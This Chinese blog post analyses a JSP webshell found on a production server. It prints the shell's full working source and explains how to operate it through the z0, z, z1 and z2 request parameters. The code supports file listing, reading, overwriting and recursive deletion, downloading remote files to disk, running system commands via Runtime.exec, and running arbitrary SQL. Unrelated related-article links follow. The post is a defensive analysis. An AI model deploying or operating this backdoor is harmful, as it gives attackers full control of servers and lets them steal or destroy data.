写在前面,本文仅做为技术交流的用途,请不要使用本文中的技术破坏他人的网站及系统,因为这是违法的!!!本人不负任何法律责任!!!  


  19年1月份,发现了一个JSP木马文件,当时觉得有点奇怪的是,这个文件没有在上传目录,而是在相当于windows系统桌面的位置,我怀疑应该是这个木马把自己转移了。

  这个木马是一个JSP文件,通过在访问该文件的时候传递参数,就能调用该文件中对应的方法,从而实现对系统的各种功能。

  先上源代码:

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
String Pwd="justtest123";
String EC(String s,String c)throws Exception{
return s;
}
//new String(s.getBytes("ISO-8859-1"),c);}
Connection GC(String s)throws Exception{
String[] x=s.trim().split("\r\n");
Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();
Connection c=DriverManager.getConnection("jdbc:oracle:thin:@192.168.0.107:1521:test");
System.out.println("数据库连接获取完毕");
if(x.length>2){
c.setCatalog("jdbc:oracle:thin:@192.168.0.107:1521:test");
}
return c;
}
void AA(StringBuffer sb)throws Exception{
File r[]=File.listRoots();
for(int i=0;i<r.length;i++){
sb.append(r[i].toString().substring(0,2));
}
}
void BB(String s,StringBuffer sb)throws Exception{
File oF=new File(s),l[]=oF.listFiles();
String sT, sQ,sF="";
java.util.Date dt;
SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for(int i=0;i<l.length;i++){
dt=new java.util.Date(l[i].lastModified());
sT=fm.format(dt);
sQ=l[i].canRead()?"R":"";
sQ+=l[i].canWrite()?" W":"";
if(l[i].isDirectory()){
sb.append(l[i].getName()+"/\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n");
}else{
sF+=l[i].getName()+"\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n";
}
}
sb.append(sF);
}
void EE(String s)throws Exception{
File f=new File(s);
if(f.isDirectory()){
File x[]=f.listFiles();
for(int k=0;k<x.length;k++){
if(!x[k].delete()){
EE(x[k].getPath());
}
}
}
f.delete();
}
void FF(String s,HttpServletResponse r)throws Exception{
int n;
byte[] b=new byte[512];
r.reset();
ServletOutputStream os=r.getOutputStream();
BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));
os.write(("->"+"|").getBytes(),0,3);
while((n=is.read(b,0,512))!=-1){
os.write(b,0,n);
}
os.write(("|"+"<-").getBytes(),0,3);
os.close();
is.close();
}
void GG(String s, String d)throws Exception{
String h="0123456789ABCDEF";
int n;
File f=new File(s);
f.createNewFile();
FileOutputStream os=new FileOutputStream(f);
for(int i=0;i<d.length();i+=2){
os.write((h.indexOf(d.charAt(i))<<4|h.indexOf(d.charAt(i+1))));
}
os.close();
}
void HH(String s,String d)throws Exception{
File sf=new File(s),df=new File(d);
if(sf.isDirectory()){
if(!df.exists()){
df.mkdir();
}
File z[]=sf.listFiles();
for(int j=0;j<z.length;j++){
HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());
}
}else{
FileInputStream is=new FileInputStream(sf);
FileOutputStream os=new FileOutputStream(df);
int n;
byte[] b=new byte[512];
while((n=is.read(b,0,512))!=-1){
os.write(b,0,n);
}
is.close();
os.close();
}
}
void II(String s,String d)throws Exception{
File sf=new File(s),df=new File(d);
sf.renameTo(df);
}
void JJ(String s)throws Exception{
File f=new File(s);
f.mkdir();
}
void KK(String s,String t)throws Exception{
File f=new File(s);
SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt=fm.parse(t);
f.setLastModified(dt.getTime());
}
void LL(String s, String d)throws Exception{
URL u=new URL(s);
int n;FileOutputStream os=new FileOutputStream(d);
HttpURLConnection h=(HttpURLConnection)u.openConnection();
InputStream is=h.getInputStream();
byte[] b=new byte[512];
while((n=is.read(b,0,512))!=-1){
os.write(b,0,n);
}
os.close();
is.close();
h.disconnect();
}
void MM(InputStream is, StringBuffer sb)throws Exception{
String l;
BufferedReader br=new BufferedReader(new InputStreamReader(is));
while((l=br.readLine())!=null){
sb.append(l+"\r\n");
}
}
void NN(String s,StringBuffer sb)throws Exception{
System.out.println("进入了NN方法");
Connection c=GC(s);
System.out.println("GC方法执行完毕");
ResultSet r=c.getMetaData().getCatalogs();
while(r.next()){
System.out.println(r.getString(1));
sb.append(r.getString(1)+"\t");
}
r.close();
c.close();
}
void OO(String s,StringBuffer sb)throws Exception{
Connection c=GC(s);
String[] t={"TABLE"};
ResultSet r=c.getMetaData().getTables (null,null,"%",t);
while(r.next()){
sb.append(r.getString("TABLE_NAME")+"\t");
}
r.close();
c.close();
}
void PP(String s,StringBuffer sb)throws Exception{
String[] x=s.trim().split("\r\n");
Connection c=GC(s);
Statement m=c.createStatement(1005,1007);
ResultSet r=m.executeQuery("select * from "+x[3]);
ResultSetMetaData d=r.getMetaData();
for(int i=1;i<=d.getColumnCount();i++){
sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");
}
r.close();
m.close();
c.close();
}
void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{
int i;
Connection c=GC(s);
Statement m=c.createStatement(1005,1008);
try{
ResultSet r=m.executeQuery(q);
ResultSetMetaData d=r.getMetaData();
int n=d.getColumnCount();
for(i=1;i<=n;i++){
sb.append(d.getColumnName(i)+"\t|\t");
}
sb.append("\r\n");
while(r.next()){
for(i=1;i<=n;i++){
sb.append(EC(r.getString(i),cs)+"\t|\t");
}
sb.append("\r\n");
}
r.close();
}catch(Exception e){
sb.append("Result\t|\t\r\n");
try{
m.executeUpdate(q);
sb.append("Execute Successfully!\t|\t\r\n");
}catch(Exception ee){
sb.append(ee.toString()+"\t|\t\r\n");
}
}
m.close();
c.close();
}
%>
<%
String cs=request.getParameter("z0")+"";
request.setCharacterEncoding(cs);
response.setContentType("text/html;charset="+cs);
String Z=EC(request.getParameter("z")+"",cs);
String z1=EC(request.getParameter("z1")+"",cs);
String z2=EC(request.getParameter("z2")+"",cs);
StringBuffer sb=new StringBuffer("");
System.out.println(Z);
try{
sb.append("->"+"|");
if(Z.equals("A")){
String s=new File(application.getRealPath(request.getRequestURI())).getParent();
sb.append(s+"\t");
if(!s.substring(0,1).equals("/")){
AA(sb);
}
}else if(Z.equals("B")){
BB(z1,sb);
}else if(Z.equals("C")){
String l="";
BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
while((l=br.readLine())!=null){
sb.append(l+"\r\n");
}
br.close();
}else if(Z.equals("D")){
BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
bw.write(z2);
bw.close();
sb.append("1");
}else if(Z.equals("E")){
EE(z1);
sb.append("1");
}else if(Z.equals("F")){
FF(z1,response);
}else if(Z.equals("G")){
GG(z1,z2);
sb.append("1");
}else if(Z.equals("H")){
System.out.println("进入了H");
HH(z1,z2);
sb.append("1");
}else if(Z.equals("I")){
II(z1,z2);
sb.append("1");
}else if(Z.equals("J")){
JJ(z1);
sb.append("1");
}else if(Z.equals("K")){
KK(z1,z2);
sb.append("1");
}else if(Z.equals("L")){
LL(z1,z2);
sb.append("1");
}else if(Z.equals("M")){
String[] c={z1.substring(2),z1.substring(0,2),z2};
Process p=Runtime.getRuntime().exec(c);
MM(p.getInputStream(),sb);
MM(p.getErrorStream(),sb);
}else if(Z.equals("N")){
NN(z1,sb);
}else if(Z.equals("O")){
OO(z1,sb);
}else if(Z.equals("P")){
PP(z1,sb);
}else if(Z.equals("Q")){
QQ(cs,z1,z2,sb);
}
}catch(Exception e){
sb.append("ERROR"+":// "+e.toString());
}
sb.append("|"+"<-");
out.print(sb.toString());
%>

  简单的浏览该源代码发现该木马文件分为两部分,上边的方法区和下边的参数识别区。参数总共有四个,分别是:z0,z,z1,z2。z0传递的是字符集编码格式,一般传递的是“utf-8”。z传递的是你想要调用的方法的名字,例如,根据上面代码中的规则,z传递‘A’就表示你想要调用‘AA’方法。参数z1和z2是不同的方法所需的不同的含义的参数,也就是说,调用不同的方法,需要传递的z1和z2参数是不同的。有的方法也可能不需要传递z1和z2参数。

  参数中的内容需要用urlencode转码。

  我测试了一下,方法ABCDEFG的功能大概如下:(注意请不要将文中技术用于非法途径,本人不负任何法律责任)

A: 获取当前木马的绝对路径和系统所有卷标。

B: 根据z1所指示的路径返回所有文件夹名和文件名,并标注了每个记录的最后修改时间和该记录是否可读写。路径为windows绝对路径,参数要使用urlencode编码。

C: 获取指定文件的内容。z1需要精确到文件名。

D: 将z2参数中的内容覆盖性的写入z1所指定的文件中。如果写入成功页面会显示->|1|<-。

E: 删除z1参数指定的文件或目录,如果是文件直接删除,如果是文件夹,递归删除该文件夹中的文件和子文件夹。如果删除成功页面会显示->|1|<-。

F: 返回指定文件的所有内容,包括第一行

G: 没搞明白这个参数对应的方法是干什么的


  本文为作者sunziren原创文章,转载请提前告知,获得许可后方可转载。转载请注明出处。

  再次声明,本文仅作为技术交流研究用途,禁止进行任何非法用途的使用。

在生产环境中碰见的JSP木马-sunziren的更多相关文章

  1. 生产环境中tomcat的配置

    生产环境中要以daemon方式运行tomcat 通常在开发环境中,我们使用$CATALINA_HOME/bin/startup.sh来启动tomcat, 使用$CATALINA_HOME/bin/sh ...

  2. .NET跨平台之旅:在生产环境中上线第一个运行于Linux上的ASP.NET Core站点

    2016年7月10日,我们在生产环境中上线了第一个运行于Linux上的ASP.NET Core站点,这是一个简单的提供后端服务的ASP.NET Core Web API站点. 项目是在Windows上 ...

  3. 理解Docker(6):若干企业生产环境中的容器网络方案

    本系列文章将介绍 Docker的相关知识: (1)Docker 安装及基本用法 (2)Docker 镜像 (3)Docker 容器的隔离性 - 使用 Linux namespace 隔离容器的运行环境 ...

  4. .NET跨平台之旅:生产环境中第2个跑在Linux上的ASP.NET Core站点

    今天我们在生产环境中上线了第2个跑在Linux上的ASP.NET Core站点.这是一个简单的Web API站点,通过命令行的方式调用安装在Linux服务器上的程序完成操作.之前用的是nodejs,现 ...

  5. 【原】Storm Local模式和生产环境中Topology运行配置

    Storm入门教程 1. Storm基础 Storm Storm主要特点 Storm基本概念 Storm调度器 Storm配置 Guaranteeing Message Processing(消息处理 ...

  6. 生产环境中CentOS7部署NET Core应用程序

    NET Core应用程序部署至生产环境中(CentOS7) 阅读目录 环境说明 准备你的ASP.NET Core应用程序 安装CentOS7 安装.NET Core SDK for CentOS7. ...

  7. 生产环境中使用Docker Swarm的一些建议

    译者按: 实践中会发现,生产环境中使用单个Docker节点是远远不够的,搭建Docker集群势在必行.然而,面对Kubernetes, Mesos以及Swarm等众多容器集群系统,我们该如何选择呢?它 ...

  8. [virtualenv]生产环境中使用virtualenv

    virtualenv 对于python开发和部署都是好工具,可以隔离多个python版本和第三方库的版本,这里作者总结了几个常用python服务怎么样结合virtual部署 原文链接 Python 中 ...

  9. Kubernetes 在生产环境中常用架构

    Kubernetes 在生产环境中常用架构 首先,我们来梳理下Kubernetes生产架构,其设计适用于绝大多数环境.如下图所示 在该架构中,我们可以将其分为四层,如下: Client层:即Kuber ...

随机推荐

  1. 题解 CSP2019-J2T4【加工零件】

    这题我们要求的是啥呢?仔细读题可以发现,工人传送带的关系可以看成一个 \(n\) 个点和 \(m\) 条边的无向图,然后对于每组询问 \((a,L)\),其实就是问: \(1\) 到 \(a\) 有没 ...

  2. vuejs之vue和springboot后端进行通信

    一.新建一个vue项目,建立好后的相关文件 查看一下新建好的vue项目的结构: 当前各个文件中的内容: App.vue:主入口 <template> <div id="ap ...

  3. node - 简单的爬虫案例

    cherrio模块 安装 cnpm install cherrio 使用方法 const cheerio = require('cheerio') const $ = cheerio.load('&l ...

  4. 开源堡垒机jumpserver的配置和使用

    开源跳板机jumpserver配置和使用 http://docs.jumpserver.org/zh/docs/quick_start.html#id9 系统设置 基本设置 # 修改url 的&quo ...

  5. Django 配置文件 settings.py

    1. dubug配置 DEBUG=False 2. 数据库配置 DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql', &qu ...

  6. Python编程:从入门到实践——【作业】——第六章(字典)

    第六章作业 6-1 人 : 使用一个字典来存储一个熟人的信息, 包括名. 姓. 年龄和居住的城市. 该字典应包含键first_name . last_name . age 和city . 将存储在该字 ...

  7. Charm Bracelet 一维01背包

    A - Charm Bracelet Time Limit:1000MS     Memory Limit:65536KB     64bit IO Format:%lld & %llu Su ...

  8. 普通台式机装centos7系统

    一.环境 台式机配置如下: 配置:CPU -i5-7400 内存:8G 硬盘:1T 原装系统: win7 64x 使用软碟通刻录U盘做系统启动盘,教程: 教你用UltraISO+U盘制作启动盘和安装各 ...

  9. 前缀和&差分

    一:差分数组概念  一.差分数组的定义及用途 1.定义:对于已知有n个元素的数列d,建立记录它每项与前一项差值的差分数组f:显然,f[1]=d[1]-0=d[1];对于整数i∈[2,n],我们让f[i ...

  10. getElementsByTagName得到的对象

    今天练习使用DOM创建html元素,想通过getElementsByTagName("body")获得body对象,然后建立和新创建的元素的关系,如下图: 其实,getElemen ...